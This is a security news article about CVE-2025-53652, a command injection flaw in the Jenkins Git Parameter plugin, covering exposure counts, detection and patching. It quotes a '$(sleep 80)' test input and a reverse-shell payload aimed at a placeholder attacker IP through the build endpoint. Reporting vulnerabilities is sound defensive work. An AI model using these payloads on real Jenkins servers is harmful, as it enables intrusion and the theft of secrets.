1,500 Jenkins Servers Vulnerable to Command Injection via Git Parameter Plugin

1,500 Jenkins Servers Vulnerable to Command Injection via Git Parameter Plugin

Jenkins disclosed CVE-2025-53652, also known as SECURITY-3419, as part of a batch of 31 plugin vulnerabilities.

Initially rated as medium severity, this flaw affects the Git Parameter plugin and was described merely as enabling attackers to inject arbitrary values into Git parameters a description that understated its potential for severe exploitation.

However, deeper analysis reveals that this parameter injection vulnerability can be escalated to full remote code execution (RCE) due to the plugin’s unvalidated handling of user-supplied inputs in shell commands.

High-Impact Flaw in Jenkins Git Parameter Plugin

The Git Parameter plugin, widely installed for managing parameterized builds, accepts arbitrary parameter values that are directly interpolated into Git commands like rev-parse and fetch.

For instance, when a pipeline job is configured to operate on a branch such as “master,” a normal build proceeds without issue.

But by supplying a malicious value like “$(sleep 80)” as the branch parameter, attackers can inject commands that execute within the Git fetch process, causing observable delays and confirming command injection via process monitoring tools like ps faux, which shows the spawned sleep child process under the jenkins user.

This vulnerability stems from the lack of input sanitization, allowing attackers to embed shell metacharacters that Git interprets as part of its command execution.

To demonstrate practical impact, researchers crafted a curl-based exploit that triggers a reverse shell: by posting to the /job/[buildName]/build endpoint with a specially formatted JSON payload containing “$(bash -c ‘bash &> /dev/tcp/[attacker_ip]/[port] <&1’)”, attackers can establish a connection running as the jenkins user.

Successful exploitation yields a 201 Created response, and the reverse shell, catchable via netcat, provides access to sensitive files like the master.key in ~/secrets.

Exploitation requires knowledge of the build name, a valid session cookie, and a Jenkins-Crumb CSRF token, which can be obtained through simple requests even on unauthenticated instances.

While Jenkins defaults to requiring authentication aligning with the CVSS vector’s Privileges Required: None rating the flaw is particularly dangerous in configurations where authentication is disabled or open registration is enabled, exposing systems to unauthenticated RCE.

Mitigation Challenges

According to the report, FOFA scans indicate over 100,000 internet-facing Jenkins servers require authentication, with about 1,000 allowing open registration, but roughly 15,000 appear fully unauthenticated, amplifying the risk of widespread exploitation despite the plugin’s install base not being fully quantified among them.

Even in unauthenticated setups, attackers must still acquire session artifacts, but this barrier is low for determined threats, as demonstrated by retrieval via basic curl commands targeting the root and build endpoints.

Detection is feasible through network monitoring, with VulnCheck’s Suricata rule alerting on POST requests to /job/…/build paths containing suspicious patterns in the request body, such as encoded shell metacharacters in parameter values.

On-disk indicators persist in job logs under ~/jobs/[buildName]/builds/#/log, where injected commands like “$(sleep 80)” appear in git rev-parse outputs, providing forensic evidence post-exploitation.

 setting the branch to $(sleep 80)

Although Jenkins flags outdated plugins for upgrades, the patch for CVE-2025-53652 includes a configurable flag (-Dnet.uaznia.lukanus.hudson.plugins.gitparameter.GitParameterDefinition.allowAnyParameterValue=true) that disables validation, potentially leaving systems vulnerable even after updates.

This underscores the need for thorough post-upgrade audits. In conclusion, what began as a seemingly low-impact parameter injection has proven to be a critical command injection vector, leveraging Git’s versatility as a GTFOBin for RCE.

While not expected to see mass exploitation, it poses significant risks in targeted attacks or lateral movement scenarios, urging administrators to prioritize patching, enable authentication, and monitor for indicators of compromise.

Find this News Interesting! Follow us on Google News, LinkedIn, and X to Get Instant Updates!


Source link

About Cybernoz

Security researcher and threat analyst with expertise in malware analysis and incident response.